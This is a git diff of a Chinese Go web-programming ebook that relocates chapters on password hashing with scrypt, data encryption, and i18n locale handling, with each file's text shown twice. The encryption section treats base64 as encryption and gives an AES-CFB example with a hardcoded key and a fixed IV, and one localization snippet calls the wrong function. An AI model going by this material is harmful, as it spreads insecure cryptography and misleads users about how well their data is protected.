在两个salt没有泄露的情况下黑客如果拿到的是最后这个加密串就几乎不可能推算出原始的密码是什么了。
## 专家方案
上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。
怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。
这里推荐`scrypt`方案scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。
目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。
## 总结
看到这里,如果你产生了危机感,那么就行动起来:
- 1如果你是普通用户那么我们建议使用LastPass进行密码存储和生成对不同的网站使用不同的密码
- 2如果你是开发人员 那么我们强烈建议你采用专家方案进行密码存储。
## links
* [目录](<preface.md>)
* 上一节: [确保输入过滤](<09.4.md>)
* 下一节: [加密和解密数据](<09.6.md>)

244
09.6.md → ebook/09.6.md Executable file → Normal file
View File

@@ -1,122 +1,122 @@
# 9.6 加密和解密数据
前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。
## base64加解密
如果Web应用足够简单数据的安全性没有那么严格的要求那么可以采用一种比较简单的加解密方法是`base64`这种方式实现起来比较简单Go语言的`base64`包已经很好的支持了这个,请看下面的例子:
package main
import (
"encoding/base64"
"fmt"
)
func base64Encode(src []byte) []byte {
return []byte(base64.StdEncoding.EncodeToString(src))
}
func base64Decode(src []byte) ([]byte, error) {
return base64.StdEncoding.DecodeString(string(src))
}
func main() {
// encode
hello := "你好,世界! hello world"
debyte := base64Encode([]byte(hello))
fmt.Println(debyte)
// decode
enbyte, err := base64Decode(debyte)
if err != nil {
fmt.Println(err.Error())
}
if hello != string(enbyte) {
fmt.Println("hello is not equal to enbyte")
}
fmt.Println(string(enbyte))
}
## 高级加解密
Go语言的`crypto`里面支持对称加密的高级加解密包有:
- `crypto/aes`包:AES(Advanced Encryption Standard)又称Rijndael加密法是美国联邦政府采用的一种区块加密标准。
- `crypto/des`DEA(Data Encryption Algorithm),是一种对称加密算法,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。
因为这两种算法使用方法类似所以在此我们仅用aes包为例来讲解它们的使用请看下面的例子
package main
import (
"crypto/aes"
"crypto/cipher"
"fmt"
"os"
)
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
//需要去加密的字符串
plaintext := []byte("My name is Astaxie")
//如果传入加密串的话plaint就是传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
//aes的加密字符串
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
fmt.Println(len(key_text))
// 创建加密算法aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
}
//加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
// 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}
上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能:
type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}
这三个函数实现了加解密操作,详细的操作请看上面的例子。
## 总结
这小节介绍了几种加解密的算法在开发Web应用的时候可以根据需求采用不同的方式进行加解密一般的应用可以采用base64算法更加高级的话可以采用aes或者des算法。
## links
* [目录](<preface.md>)
* 上一节: [存储密码](<09.5.md>)
* 下一节: [小结](<09.7.md>)
# 9.6 加密和解密数据
前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。
## base64加解密
如果Web应用足够简单数据的安全性没有那么严格的要求那么可以采用一种比较简单的加解密方法是`base64`这种方式实现起来比较简单Go语言的`base64`包已经很好的支持了这个,请看下面的例子:
package main
import (
"encoding/base64"
"fmt"
)
func base64Encode(src []byte) []byte {
return []byte(base64.StdEncoding.EncodeToString(src))
}
func base64Decode(src []byte) ([]byte, error) {
return base64.StdEncoding.DecodeString(string(src))
}
func main() {
// encode
hello := "你好,世界! hello world"
debyte := base64Encode([]byte(hello))
fmt.Println(debyte)
// decode
enbyte, err := base64Decode(debyte)
if err != nil {
fmt.Println(err.Error())
}
if hello != string(enbyte) {
fmt.Println("hello is not equal to enbyte")
}
fmt.Println(string(enbyte))
}
## 高级加解密
Go语言的`crypto`里面支持对称加密的高级加解密包有:
- `crypto/aes`包:AES(Advanced Encryption Standard)又称Rijndael加密法是美国联邦政府采用的一种区块加密标准。
- `crypto/des`DEA(Data Encryption Algorithm),是一种对称加密算法,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。
因为这两种算法使用方法类似所以在此我们仅用aes包为例来讲解它们的使用请看下面的例子
package main
import (
"crypto/aes"
"crypto/cipher"
"fmt"
"os"
)
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
//需要去加密的字符串
plaintext := []byte("My name is Astaxie")
//如果传入加密串的话plaint就是传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
//aes的加密字符串
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
fmt.Println(len(key_text))
// 创建加密算法aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
}
//加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
// 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}
上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能:
type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}
这三个函数实现了加解密操作,详细的操作请看上面的例子。
## 总结
这小节介绍了几种加解密的算法在开发Web应用的时候可以根据需求采用不同的方式进行加解密一般的应用可以采用base64算法更加高级的话可以采用aes或者des算法。
## links
* [目录](<preface.md>)
* 上一节: [存储密码](<09.5.md>)
* 下一节: [小结](<09.7.md>)

18
09.7.md → ebook/09.7.md Executable file → Normal file
View File

@@ -1,9 +1,9 @@
# 9.7 小结
这一章主要介绍了如CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法它们都是由于应用对用户的输入没有很好的过滤引起的所以除了介绍攻击的方法外我们也介绍了了如何有效的进行数据过滤以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了Go语言提供三种对称加密算法base64、aes和des的实现。
编写这一章的目的是希望读者能够在意识里面加强安全概念在编写Web应用的时候多留心一点以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包我们可以充分的利用这些包来做出一个安全的Web应用。
## links
* [目录](<preface.md>)
* 上一节: [加密和解密数据](<09.6.md>)
* 下一节: [国际化和本地化](<10.0.md>)
# 9.7 小结
这一章主要介绍了如CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法它们都是由于应用对用户的输入没有很好的过滤引起的所以除了介绍攻击的方法外我们也介绍了了如何有效的进行数据过滤以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了Go语言提供三种对称加密算法base64、aes和des的实现。
编写这一章的目的是希望读者能够在意识里面加强安全概念在编写Web应用的时候多留心一点以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包我们可以充分的利用这些包来做出一个安全的Web应用。
## links
* [目录](<preface.md>)
* 上一节: [加密和解密数据](<09.6.md>)
* 下一节: [国际化和本地化](<10.0.md>)

50
10.0.md → ebook/10.0.md Executable file → Normal file
View File

@@ -1,25 +1,25 @@
# 10 国际化和本地化
为了适应经济的全球一体化作为开发者我们需要开发出支持多国语言、国际化的Web应用即同样的页面在不同的语言环境下需要显示不同的效果也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样当需要在应用程序中添加对新的语言的支持时无需修改应用程序的代码只需要增加语言包即可实现。
国际化与本地化Internationalization and localization,通常用i18n和L10N表示国际化是将针对某个地区设计的程序进行重构以使它能够在更多地区使用本地化是指在一个面向国际化的程序中增加对新地区的支持。
目前Go语言的标准包没有提供对i18n的支持但有一些比较简单的第三方实现这一章我们将实现一个go-i18n库用来支持Go语言的i18n。
所谓的国际化就是根据特定的locale信息提取与之相应的字符串或其它一些东西比如时间和货币的格式等等。这涉及到三个问题
1、如何确定locale。
2、如何保存与locale相关的字符串或其它信息。
3、如何根据locale提取字符串和其它相应的信息。
在第一小节里我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息第三小节将介绍如何实现国际化站点即如何根据不同locale返回不同合适的内容。通过这三个小节的学习我们将获得一个完整的i18n方案。
## 目录
![](images/navi10.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第九章总结](<9.7.md>)
* 下一节: [设置默认地区](<10.1.md>)
# 10 国际化和本地化
为了适应经济的全球一体化作为开发者我们需要开发出支持多国语言、国际化的Web应用即同样的页面在不同的语言环境下需要显示不同的效果也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样当需要在应用程序中添加对新的语言的支持时无需修改应用程序的代码只需要增加语言包即可实现。
国际化与本地化Internationalization and localization,通常用i18n和L10N表示国际化是将针对某个地区设计的程序进行重构以使它能够在更多地区使用本地化是指在一个面向国际化的程序中增加对新地区的支持。
目前Go语言的标准包没有提供对i18n的支持但有一些比较简单的第三方实现这一章我们将实现一个go-i18n库用来支持Go语言的i18n。
所谓的国际化就是根据特定的locale信息提取与之相应的字符串或其它一些东西比如时间和货币的格式等等。这涉及到三个问题
1、如何确定locale。
2、如何保存与locale相关的字符串或其它信息。
3、如何根据locale提取字符串和其它相应的信息。
在第一小节里我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息第三小节将介绍如何实现国际化站点即如何根据不同locale返回不同合适的内容。通过这三个小节的学习我们将获得一个完整的i18n方案。
## 目录
![](images/navi10.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第九章总结](<9.7.md>)
* 下一节: [设置默认地区](<10.1.md>)

170
10.1.md → ebook/10.1.md Executable file → Normal file
View File

@@ -1,85 +1,85 @@
# 10.1 设置默认地区
## 什么是Locale
Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成第一部分是一个强制性的表示语言的缩写例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。
GO语言默认采用"UTF-8"编码集所以我们实现i18n时不考虑第三部分接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。
>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名读者可以看到这些地区名的命名规范。对于BSD等系统没有locale命令但是地区信息存储在/usr/share/locale中。
## 设置Locale
有了上面对locale的定义那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale我们可以通过如下几种方式来设置用户的locale。
### 通过域名设置Locale
设置Locale的办法这一就是在应用运行的时候采用域名分级的方式例如我们采用www.asta.com当做我们的英文站(默认站)而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系就可以设置好地区。这样处理有几点好处
- 通过URL就可以很明显的识别
- 用户可以通过域名很直观的知道将访问那种语言的站点
- 在Go程序中实现非常的简单方便通过一个map就可以实现
- 有利于搜索引擎抓取能够提高站点的SEO
我们可以通过下面的代码来实现域名的对应locale
if r.Host == "www.asta.com" {
i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
i18n.SetLocale("zh-TW")
}
当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示:
prefix := strings.Split(r.Host,".")
if prefix[0] == "en" {
i18n.SetLocale("en")
} else if prefix[0] == "cn" {
i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
i18n.SetLocale("zh-TW")
}
通过域名设置Locale有如上所示的优点但是我们一般开发Web应用的时候不会采用这种方式因为首先域名成本比较高开发一个Locale就需要一个域名而且往往统一名称的域名不一定能申请的到其次我们不愿意为每个站点去本地化一个配置而更多的是采用url后面带参数的方式请看下面的介绍。
### 从域名参数设置Locale
目前最常用的设置Locale的方式是在URL里面带上参数例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区`i18n.SetLocale(params["locale"])`
这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点它采用RESTful的方式以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url让所有的link地址都通过这个函数来生成然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。
也许我们希望URL地址看上去更加的RESTful一点例如www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点)这种方式的URL更加有利于SEO而且对于用户也比较友好能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现)
mux.Get("/:locale/books", listbook)
### 从客户端设置地区
在一些特殊的情况下我们需要根据客户端的信息而不是通过URL来设置Locale这些信息可能来自于客户端设置的喜好语言(浏览器中设置)用户的IP地址用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。
- Accept-Language
客户端请求的时候在HTTP头信息里面有`Accept-Language`一般的客户端都会设置该信息下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码:
AL := r.Header.Get("Accept-Language")
if AL == "en" {
i18n.SetLocale("en")
} else if AL == "zh-CN" {
i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
i18n.SetLocale("zh-TW")
}
当然在实际应用中,可能需要更加严格的判断来进行设置地区
- IP地址
另一种根据客户端来设定地区就是用户访问的IP我们根据相应的IP库对应访问的IP到地区目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单我们只需要根据IP数据库查询用户的IP然后返回国家地区根据返回的结果设置对应的地区。
- 用户profile
当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale然后我们将用户输入的信息保存到与它帐号相关的profile中当用户再次登陆的时候把这个设置复写到locale设置中这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。
## 总结
通过上面的介绍可知设置Locale可以有很多种方式我们应该根据需求的不同来选择不同的设置Locale的方法以让用户能以它最熟悉的方式获得我们提供的服务提高应用的用户友好性。
## links
* [目录](<preface.md>)
* 上一节: [国际化和本地化](<10.0.md>)
* 下一节: [本地化资源](<10.2.md>)
# 10.1 设置默认地区
## 什么是Locale
Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成第一部分是一个强制性的表示语言的缩写例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。
GO语言默认采用"UTF-8"编码集所以我们实现i18n时不考虑第三部分接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。
>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名读者可以看到这些地区名的命名规范。对于BSD等系统没有locale命令但是地区信息存储在/usr/share/locale中。
## 设置Locale
有了上面对locale的定义那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale我们可以通过如下几种方式来设置用户的locale。
### 通过域名设置Locale
设置Locale的办法这一就是在应用运行的时候采用域名分级的方式例如我们采用www.asta.com当做我们的英文站(默认站)而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系就可以设置好地区。这样处理有几点好处
- 通过URL就可以很明显的识别
- 用户可以通过域名很直观的知道将访问那种语言的站点
- 在Go程序中实现非常的简单方便通过一个map就可以实现
- 有利于搜索引擎抓取能够提高站点的SEO
我们可以通过下面的代码来实现域名的对应locale
if r.Host == "www.asta.com" {
i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
i18n.SetLocale("zh-TW")
}
当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示:
prefix := strings.Split(r.Host,".")
if prefix[0] == "en" {
i18n.SetLocale("en")
} else if prefix[0] == "cn" {
i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
i18n.SetLocale("zh-TW")
}
通过域名设置Locale有如上所示的优点但是我们一般开发Web应用的时候不会采用这种方式因为首先域名成本比较高开发一个Locale就需要一个域名而且往往统一名称的域名不一定能申请的到其次我们不愿意为每个站点去本地化一个配置而更多的是采用url后面带参数的方式请看下面的介绍。
### 从域名参数设置Locale
目前最常用的设置Locale的方式是在URL里面带上参数例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区`i18n.SetLocale(params["locale"])`
这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点它采用RESTful的方式以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url让所有的link地址都通过这个函数来生成然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。
也许我们希望URL地址看上去更加的RESTful一点例如www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点)这种方式的URL更加有利于SEO而且对于用户也比较友好能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现)
mux.Get("/:locale/books", listbook)
### 从客户端设置地区
在一些特殊的情况下我们需要根据客户端的信息而不是通过URL来设置Locale这些信息可能来自于客户端设置的喜好语言(浏览器中设置)用户的IP地址用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。
- Accept-Language
客户端请求的时候在HTTP头信息里面有`Accept-Language`一般的客户端都会设置该信息下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码:
AL := r.Header.Get("Accept-Language")
if AL == "en" {
i18n.SetLocale("en")
} else if AL == "zh-CN" {
i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
i18n.SetLocale("zh-TW")
}
当然在实际应用中,可能需要更加严格的判断来进行设置地区
- IP地址
另一种根据客户端来设定地区就是用户访问的IP我们根据相应的IP库对应访问的IP到地区目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单我们只需要根据IP数据库查询用户的IP然后返回国家地区根据返回的结果设置对应的地区。
- 用户profile
当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale然后我们将用户输入的信息保存到与它帐号相关的profile中当用户再次登陆的时候把这个设置复写到locale设置中这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。
## 总结
通过上面的介绍可知设置Locale可以有很多种方式我们应该根据需求的不同来选择不同的设置Locale的方法以让用户能以它最熟悉的方式获得我们提供的服务提高应用的用户友好性。
## links
* [目录](<preface.md>)
* 上一节: [国际化和本地化](<10.0.md>)
* 下一节: [本地化资源](<10.2.md>)

268
10.2.md → ebook/10.2.md Executable file → Normal file
View File

@@ -1,134 +1,134 @@
# 10.2 本地化资源
前面小节我们介绍了如何设置Locale设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢这里面的信息包括文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们讲对这些信息一一进行介绍Go语言中我们把这些格式信息存储在JSON中然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json)
## 本地化文本消息
本信息是编写Web应用中最常用到的也是本地化资源中最多的信息想要以适合本地语言的方式来显示文本信息可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系在输出之前按需从适合的map中去获取相应的文本如下是一个简单的示例
package main
import "fmt"
var locales map[string]map[string]string
func main() {
locales = make(map[string]map[string]string, 2)
en := make(map[string]string, 10)
en["pea"] = "pea"
en["bean"] = "bean"
locales["en"] = en
cn := make(map[string]string, 10)
cn["pea"] = "豌豆"
cn["bean"] = "毛豆"
locales["zh-CN"] = cn
lang := "zh-CN"
fmt.Println(msg(lang, "pea"))
fmt.Println(msg(lang, "bean"))
}
func msg(locale, key string) string {
if v, ok := locales[locale]; ok {
if v2, ok := v[key]; ok {
return v2
}
}
return ""
}
上面示例演示了不同locale的文本翻译实现了中文和英文对于同一个key显示不同语言的实现上面实现了中文的文本消息如果想切换到英文版本只需要把lang设置为en即可。
有些时候仅是key-value替换是不能满足需要的例如"I am 30 years old",中文表达是"我今年30岁了"而此处的30是一个变量该怎么办呢这个时候我们可以结合`fmt.Printf`函数来实现,请看下面的代码:
en["how old"] ="I am %d years old"
cn["how old"] ="我今年%d岁了"
fmt.Printf(msg(lang, "how old"), 30)
上面的示例代码仅用以演示内部的实现方案而实际数据是存储在JSON里面的所以我们可以通过`json.Unmarshal`来为相应的map填充数据。
## 本地化日期和时间
因为时区的关系同一时刻在不同的地区表示是不一样的而且因为Locale的关系时间格式也不尽相同例如中文环境下可能显示`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点:
1. 时区问题
2. 格式问题
$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义为了获得对应于当前locale的时间我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale比如`Asia/Shanghai``America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量):
en["time_zone"]="America/Chicago"
cn["time_zone"]="Asia/Shanghai"
loc,_:=time.LoadLocation(msg(lang,"time_zone"))
t:=time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))
我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下:
en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"
fmt.Println(date(msg(lang,"date_format"),t))
func date(fomate string,t time.Time) string{
year, month, day = t.Date()
hour, min, sec = t.Clock()
//解析相应的%Y %m %d %H %M %S然后返回信息
//%Y 替换成2012
//%m 替换成10
//%d 替换成24
}
## 本地化货币值
各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码:
en["money"] ="USD %d"
cn["money"] ="¥%d元"
fmt.Println(date(msg(lang,"date_format"),100))
func money_format(fomate string,money int64) string{
return fmt.Sprintf(fomate,money)
}
## 本地化视图和资源
我们可能会根据Locale的不同来展示视图这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢首先我们应按locale来组织文件信息请看下面的文件目录安排
views
|--en //英文模板
|--images //存储图片信息
|--js //存储JS文件
|--css //存储css文件
index.tpl //用户首页
login.tpl //登陆首页
|--zh-CN //中文模板
|--images
|--js
|--css
index.tpl
login.tpl
有了这个目录结构后我们就可以在渲染的地方这样来实现代码:
s1, _ := template.ParseFiles("views"+lang+"index.tpl")
VV.Lang=lang
s1.Execute(os.Stdout, VV)
而对于里面的index.tpl里面的资源设置如下
// js文件
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css文件
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// 图片文件
<img src="views/{{.VV.Lang}}/images/btn.png">
采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。
## 总结
本小节介绍了如何使用及存储本地资源有时需要通过转换函数来实现有时通过lang来设置但是最终都是通过key-value的方式来存储Locale对应的数据在需要时取出相应于Locale的信息后如果是文本信息就直接输出如果是时间日期或者货币则需要先通过`fmt.Printf`或其他格式化函数来处理而对于不同Locale的视图和资源则是最简单的只要在路径里面增加lang就可以实现了。
## links
* [目录](<preface.md>)
* 上一节: [设置默认地区](<10.1.md>)
* 下一节: [国际化站点](<10.3.md>)
# 10.2 本地化资源
前面小节我们介绍了如何设置Locale设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢这里面的信息包括文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们讲对这些信息一一进行介绍Go语言中我们把这些格式信息存储在JSON中然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json)
## 本地化文本消息
本信息是编写Web应用中最常用到的也是本地化资源中最多的信息想要以适合本地语言的方式来显示文本信息可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系在输出之前按需从适合的map中去获取相应的文本如下是一个简单的示例
package main
import "fmt"
var locales map[string]map[string]string
func main() {
locales = make(map[string]map[string]string, 2)
en := make(map[string]string, 10)
en["pea"] = "pea"
en["bean"] = "bean"
locales["en"] = en
cn := make(map[string]string, 10)
cn["pea"] = "豌豆"
cn["bean"] = "毛豆"
locales["zh-CN"] = cn
lang := "zh-CN"
fmt.Println(msg(lang, "pea"))
fmt.Println(msg(lang, "bean"))
}
func msg(locale, key string) string {
if v, ok := locales[locale]; ok {
if v2, ok := v[key]; ok {
return v2
}
}
return ""
}
上面示例演示了不同locale的文本翻译实现了中文和英文对于同一个key显示不同语言的实现上面实现了中文的文本消息如果想切换到英文版本只需要把lang设置为en即可。
有些时候仅是key-value替换是不能满足需要的例如"I am 30 years old",中文表达是"我今年30岁了"而此处的30是一个变量该怎么办呢这个时候我们可以结合`fmt.Printf`函数来实现,请看下面的代码:
en["how old"] ="I am %d years old"
cn["how old"] ="我今年%d岁了"
fmt.Printf(msg(lang, "how old"), 30)
上面的示例代码仅用以演示内部的实现方案而实际数据是存储在JSON里面的所以我们可以通过`json.Unmarshal`来为相应的map填充数据。
## 本地化日期和时间
因为时区的关系同一时刻在不同的地区表示是不一样的而且因为Locale的关系时间格式也不尽相同例如中文环境下可能显示`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点:
1. 时区问题
2. 格式问题
$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义为了获得对应于当前locale的时间我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale比如`Asia/Shanghai``America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量):
en["time_zone"]="America/Chicago"
cn["time_zone"]="Asia/Shanghai"
loc,_:=time.LoadLocation(msg(lang,"time_zone"))
t:=time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))
我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下:
en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"
fmt.Println(date(msg(lang,"date_format"),t))
func date(fomate string,t time.Time) string{
year, month, day = t.Date()
hour, min, sec = t.Clock()
//解析相应的%Y %m %d %H %M %S然后返回信息
//%Y 替换成2012
//%m 替换成10
//%d 替换成24
}
## 本地化货币值
各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码:
en["money"] ="USD %d"
cn["money"] ="¥%d元"
fmt.Println(date(msg(lang,"date_format"),100))
func money_format(fomate string,money int64) string{
return fmt.Sprintf(fomate,money)
}
## 本地化视图和资源
